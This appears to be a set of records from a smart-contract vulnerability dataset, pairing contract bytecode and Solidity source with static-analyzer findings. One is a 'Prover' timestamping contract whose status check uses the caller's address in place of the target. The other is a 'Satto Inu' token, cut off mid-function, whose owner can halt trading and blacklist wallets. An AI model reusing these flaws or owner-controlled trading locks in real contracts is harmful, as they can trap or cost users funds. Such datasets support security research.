00002167effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415610530576000610533565b60015b60007f01000000000000000000000000000000000000000000000000000000000000000260107f01000000000000000000000000000000000000000000000000000000000000000287600160148110151561058a57fe5b1a7f010000000000000000000000000000000000000000000000000000000000000002167effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614156105dd5760006105e0565b60015b60007f01000000000000000000000000000000000000000000000000000000000000000260087f01000000000000000000000000000000000000000000000000000000000000000288600160148110151561063757fe5b1a7f010000000000000000000000000000000000000000000000000000000000000002167effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916141561068a57600061068d565b60015b60007f01000000000000000000000000000000000000000000000000000000000000000260047f0100000000000000000000000000000000000000000000000000000000000000028960016014811015156106e457fe5b1a7f010000000000000000000000000000000000000000000000000000000000000002167effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916141561073757600061073a565b60015b60007f01000000000000000000000000000000000000000000000000000000000000000260027f0100000000000000000000000000000000000000000000000000000000000000028a600160148110151561079157fe5b1a7f010000000000000000000000000000000000000000000000000000000000000002167effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614156107e45760006107e7565b60015b60007f01000000000000000000000000000000000000000000000000000000000000000260017f0100000000000000000000000000000000000000000000000000000000000000028b600160148110151561083e57fe5b1a7f010000000000000000000000000000000000000000000000000000000000000002167effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415610891576000610894565b60015b0101010101010160ff16915081606434020290508084019350806009600082825401925050819055505b5b83600860008282540192505081905550600454600a0a8402600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600454600a0a8402600a60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600454600a0a87026040518082815260200191505060405180910390a35b50505050005b348015610a3857600080fd5b50610a41611250565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a81578082015181840152602081019050610a66565b50505050905090810190601f168015610aae5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610ac857600080fd5b50610b07600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112ee565b604051808215151515815260200191505060405180910390f35b348015610b2d57600080fd5b50610b366113e0565b6040518082815260200191505060405180910390f35b348015610b5857600080fd5b50610b616113e6565b6040518082815260200191505060405180910390f35b348015610b8357600080fd5b50610be2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611438565b604051808215151515815260200191505060405180910390f35b348015610c0857600080fd5b50610c116116c8565b6040518082815260200191505060405180910390f35b348015610c3357600080fd5b50610c3c6116ce565b6040518082815260200191505060405180910390f35b348015610c5e57600080fd5b50610c676116d4565b005b348015610c7557600080fd5b50610caa600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061174c565b6040518082815260200191505060405180910390f35b348015610ccc57600080fd5b50610cd5611795565b005b348015610ce357600080fd5b50610cec611934565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610d3a57600080fd5b50610d43611959565b005b348015610d5157600080fd5b50610d5a6119d1565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610d9a578082015181840152602081019050610d7f565b50505050905090810190601f168015610dc75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610de157600080fd5b50610dea611a6f565b6040518082815260200191505060405180910390f35b348015610e0c57600080fd5b50610e356004803603810190808035906020019092919080359060200190929190505050611a75565b6040518082815260200191505060405180910390f35b348015610e5757600080fd5b50610e96600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a91565b604051808215151515815260200191505060405180910390f35b348015610ebc57600080fd5b50610ee56004803603810190808035906020019092919080359060200190929190505050611c1a565b6040518082815260200191505060405180910390f35b348015610f0757600080fd5b50610f10611c3e565b604051808581526020018481526020018381526020018215151515815260200194505050505060405180910390f35b348015610f4b57600080fd5b50610fd0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611c6b565b604051808215151515815260200191505060405180910390f35b348015610ff657600080fd5b5061101f6004803603810190808035906020019092919080359060200190929190505050611eba565b6040518082815260200191505060405180910390f35b34801561104157600080fd5b5061104a611eeb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561109857600080fd5b506110a1611f11565b604051808215151515815260200191505060405180910390f35b3480156110c757600080fd5b50611106600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611f28565b604051808215151515815260200191505060405180910390f35b34801561112c57600080fd5b50611181600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061208c565b6040518082815260200191505060405180910390f35b3480156111a357600080fd5b506111cc6004803603810190808035906020019092919080359060200190929190505050612113565b6040518082815260200191505060405180910390f35b3480156111ee57600080fd5b50611223600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061212f565b005b34801561123157600080fd5b5061123a6121ce565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112e65780601f106112bb576101008083540402835291602001916112e6565b820191906000526020600020905b8154815290600101906020018083116112c957829003601f168201915b505050505081565b600081600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60075481565b6000600a60008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600454600a0a6005540203905090565b6000611483600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611a75565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061154c600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611a75565b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611615600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612113565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60045481565b60055481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561172f57600080fd5b6000600660006101000a81548160ff021916908315150217905550565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117f157600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119b457600080fd5b6001600660006101000a81548160ff021916908315150217905550565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611a675780601f10611a3c57610100808354040283529160200191611a67565b820191906000526020600020905b815481529060010190602001808311611a4a57829003601f168201915b505050505081565b60095481565b6000828211151515611a8657600080fd5b818303905092915050565b6000611adc600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611a75565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b68600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612113565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008082111515611c2a57600080fd5b8183811515611c3557fe5b04905092915050565b600080600080600754600854600954600660009054906101000a900460ff16935093509350935090919293565b600082600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611e48578082015181840152602081019050611e2d565b50505050905090810190601f168015611e755780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015611e9757600080fd5b505af1158015611eab573d6000803e3d6000fd5b50505050600190509392505050565b600081830290506000831480611eda5750818382811515611ed757fe5b04145b1515611ee557600080fd5b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660009054906101000a900460ff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f8557600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561204957600080fd5b505af115801561205d573d6000803e3d6000fd5b505050506040513d602081101561207357600080fd5b8101908080519060200190929190505050905092915050565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000818301905082811015151561212957600080fd5b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561218a57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600854815600a165627a7a72305820ff38f824b48d3b25ca326fda43e8aeb78d18179bc94c064d92c51c8756f6140d0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 9,028 |
0x48662880680cbC66fb4c6D6d0E29865B12085eA2
|
pragma solidity ^0.4.13;
contract Prover {
// attach library
using Sets for *;
// storage vars
address owner;
Sets.addressSet internal users;
mapping (address => UserAccount) internal ledger;
// structs
struct UserAccount {
Sets.bytes32Set hashes;
mapping (bytes32 => Entry) entries;
}
struct Entry {
uint256 time;
uint256 value;
}
// constructor
function Prover() {
owner = msg.sender;
}
// fallback: unmatched transactions will be returned
function () {
revert();
}
// modifier to check if sender has an account
modifier hasAccount() {
assert(ledger[msg.sender].hashes.length() >= 1);
_;
}
// external functions
// proving
function proveIt(address target, bytes32 dataHash) external constant
returns (bool proved, uint256 time, uint256 value)
{
return status(target, dataHash);
}
function proveIt(address target, string dataString) external constant
returns (bool proved, uint256 time, uint256 value)
{
return status(target, sha3(dataString));
}
// allow access to our structs via functions with convenient return values
function usersGetter() public constant
returns (uint256 number_unique_addresses, address[] unique_addresses)
{
return (users.length(), users.members);
}
function userEntries(address target) external constant returns (bytes32[]) {
return ledger[target].hashes.members;
}
// public functions
// adding entries
function addEntry(bytes32 dataHash) payable {
_addEntry(dataHash);
}
function addEntry(string dataString) payable {
_addEntry(sha3(dataString));
}
// deleting entries
function deleteEntry(bytes32 dataHash) hasAccount {
_deleteEntry(dataHash);
}
function deleteEntry(string dataString) hasAccount {
_deleteEntry(sha3(dataString));
}
// allow owner to delete contract if no accounts exist
function selfDestruct() {
if ((msg.sender == owner) && (users.length() == 0)) {
selfdestruct(owner);
}
}
// internal functions
function _addEntry(bytes32 dataHash) internal {
// ensure the entry doesn't exist
assert(!ledger[msg.sender].hashes.contains(dataHash));
// update UserAccount (hashes then entries)
ledger[msg.sender].hashes.insert(dataHash);
ledger[msg.sender].entries[dataHash] = Entry(now, msg.value);
// add sender to userlist
users.insert(msg.sender);
}
function _deleteEntry(bytes32 dataHash) internal {
// ensure the entry does exist
assert(ledger[msg.sender].hashes.contains(dataHash));
uint256 rebate = ledger[msg.sender].entries[dataHash].value;
// update UserAccount (hashes then entries)
ledger[msg.sender].hashes.remove(dataHash);
delete ledger[msg.sender].entries[dataHash];
// send the rebate
if (rebate > 0) {
msg.sender.transfer(rebate);
}
// delete from userlist if this was the user's last entry
if (ledger[msg.sender].hashes.length() == 0) {
users.remove(msg.sender);
}
}
// return status of arbitrary address and dataHash
function status(address target, bytes32 dataHash) internal constant
returns (bool proved, uint256 time, uint256 value)
{
return (ledger[msg.sender].hashes.contains(dataHash),
ledger[target].entries[dataHash].time,
ledger[target].entries[dataHash].value);
}
}
// note: breaks if members.length exceeds 2^256-1 (so, not really a problem)
library Sets {
// address set
struct addressSet {
address[] members;
mapping (address => bool) memberExists;
mapping (address => uint) memberIndex;
}
function insert(addressSet storage self, address other) {
if (!self.memberExists[other]) {
self.memberExists[other] = true;
self.memberIndex[other] = self.members.length;
self.members.push(other);
}
}
function remove(addressSet storage self, address other) {
if (self.memberExists[other]) {
self.memberExists[other] = false;
uint index = self.memberIndex[other];
// change index of last value to index of other
self.memberIndex[self.members[self.members.length - 1]] = index;
// copy last value over other and decrement length
self.members[index] = self.members[self.members.length - 1];
self.members.length--;
}
}
function contains(addressSet storage self, address other) returns (bool) {
return self.memberExists[other];
}
function length(addressSet storage self) returns (uint256) {
return self.members.length;
}
// uint set
struct uintSet {
uint[] members;
mapping (uint => bool) memberExists;
mapping (uint => uint) memberIndex;
}
function insert(uintSet storage self, uint other) {
if (!self.memberExists[other]) {
self.memberExists[other] = true;
self.memberIndex[other] = self.members.length;
self.members.push(other);
}
}
function remove(uintSet storage self, uint other) {
if (self.memberExists[other]) {
self.memberExists[other] = false;
uint index = self.memberIndex[other];
// change index of last value to index of other
self.memberIndex[self.members[self.members.length - 1]] = index;
// copy last value over other and decrement length
self.members[index] = self.members[self.members.length - 1];
self.members.length--;
}
}
function contains(uintSet storage self, uint other) returns (bool) {
return self.memberExists[other];
}
function length(uintSet storage self) returns (uint256) {
return self.members.length;
}
// uint8 set
struct uint8Set {
uint8[] members;
mapping (uint8 => bool) memberExists;
mapping (uint8 => uint) memberIndex;
}
function insert(uint8Set storage self, uint8 other) {
if (!self.memberExists[other]) {
self.memberExists[other] = true;
self.memberIndex[other] = self.members.length;
self.members.push(other);
}
}
function remove(uint8Set storage self, uint8 other) {
if (self.memberExists[other]) {
self.memberExists[other] = false;
uint index = self.memberIndex[other];
// change index of last value to index of other
self.memberIndex[self.members[self.members.length - 1]] = index;
// copy last value over other and decrement length
self.members[index] = self.members[self.members.length - 1];
self.members.length--;
}
}
function contains(uint8Set storage self, uint8 other) returns (bool) {
return self.memberExists[other];
}
function length(uint8Set storage self) returns (uint256) {
return self.members.length;
}
// int set
struct intSet {
int[] members;
mapping (int => bool) memberExists;
mapping (int => uint) memberIndex;
}
function insert(intSet storage self, int other) {
if (!self.memberExists[other]) {
self.memberExists[other] = true;
self.memberIndex[other] = self.members.length;
self.members.push(other);
}
}
function remove(intSet storage self, int other) {
if (self.memberExists[other]) {
self.memberExists[other] = false;
uint index = self.memberIndex[other];
// change index of last value to index of other
self.memberIndex[self.members[self.members.length - 1]] = index;
// copy last value over other and decrement length
self.members[index] = self.members[self.members.length - 1];
self.members.length--;
}
}
function contains(intSet storage self, int other) returns (bool) {
return self.memberExists[other];
}
function length(intSet storage self) returns (uint256) {
return self.members.length;
}
// int8 set
struct int8Set {
int8[] members;
mapping (int8 => bool) memberExists;
mapping (int8 => uint) memberIndex;
}
function insert(int8Set storage self, int8 other) {
if (!self.memberExists[other]) {
self.memberExists[other] = true;
self.memberIndex[other] = self.members.length;
self.members.push(other);
}
}
function remove(int8Set storage self, int8 other) {
if (self.memberExists[other]) {
self.memberExists[other] = false;
uint index = self.memberIndex[other];
// change index of last value to index of other
self.memberIndex[self.members[self.members.length - 1]] = index;
// copy last value over other and decrement length
self.members[index] = self.members[self.members.length - 1];
self.members.length--;
}
}
function contains(int8Set storage self, int8 other) returns (bool) {
return self.memberExists[other];
}
function length(int8Set storage self) returns (uint256) {
return self.members.length;
}
// byte set
struct byteSet {
byte[] members;
mapping (byte => bool) memberExists;
mapping (byte => uint) memberIndex;
}
function insert(byteSet storage self, byte other) {
if (!self.memberExists[other]) {
self.memberExists[other] = true;
self.memberIndex[other] = self.members.length;
self.members.push(other);
}
}
function remove(byteSet storage self, byte other) {
if (self.memberExists[other]) {
self.memberExists[other] = false;
uint index = self.memberIndex[other];
// change index of last value to index of other
self.memberIndex[self.members[self.members.length - 1]] = index;
// copy last value over other and decrement length
self.members[index] = self.members[self.members.length - 1];
self.members.length--;
}
}
function contains(byteSet storage self, byte other) returns (bool) {
return self.memberExists[other];
}
function length(byteSet storage self) returns (uint256) {
return self.members.length;
}
// bytes32 set
struct bytes32Set {
bytes32[] members;
mapping (bytes32 => bool) memberExists;
mapping (bytes32 => uint) memberIndex;
}
function insert(bytes32Set storage self, bytes32 other) {
if (!self.memberExists[other]) {
self.memberExists[other] = true;
self.memberIndex[other] = self.members.length;
self.members.push(other);
}
}
function remove(bytes32Set storage self, bytes32 other) {
if (self.memberExists[other]) {
self.memberExists[other] = false;
uint index = self.memberIndex[other];
// change index of last value to index of other
self.memberIndex[self.members[self.members.length - 1]] = index;
// copy last value over other and decrement length
self.members[index] = self.members[self.members.length - 1];
self.members.length--;
}
}
function contains(bytes32Set storage self, bytes32 other) returns (bool) {
return self.memberExists[other];
}
function length(bytes32Set storage self) returns (uint256) {
return self.members.length;
}
}
|
0x
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 9,029 |
0x2584c8190db23da36e7db35a0095a0538d74bd2d
|
/**
*Submitted for verification at Etherscan.io on 2022-04-12
*/
/**
Stealth Launch
Telegram:https://t.me/Satto2Inu
Youtube:https://www.youtube.com/channel/UCnXe6v0-5vmMMRU2qx0XwUw
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SattogetsRekt is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Satto Inu";
string private constant _symbol = "$satto";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 6;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 8;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xa0125F841946A3bEAf1f3BC895763b0704De9B41);
address payable private _marketingAddress = payable(0xa0125F841946A3bEAf1f3BC895763b0704De9B41);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 15000000 * 10**9;
uint256 public _maxWalletSize = 30000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x03f7724180AA6b939894B5Ca4314783B0b36b329);//Shibaswap
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
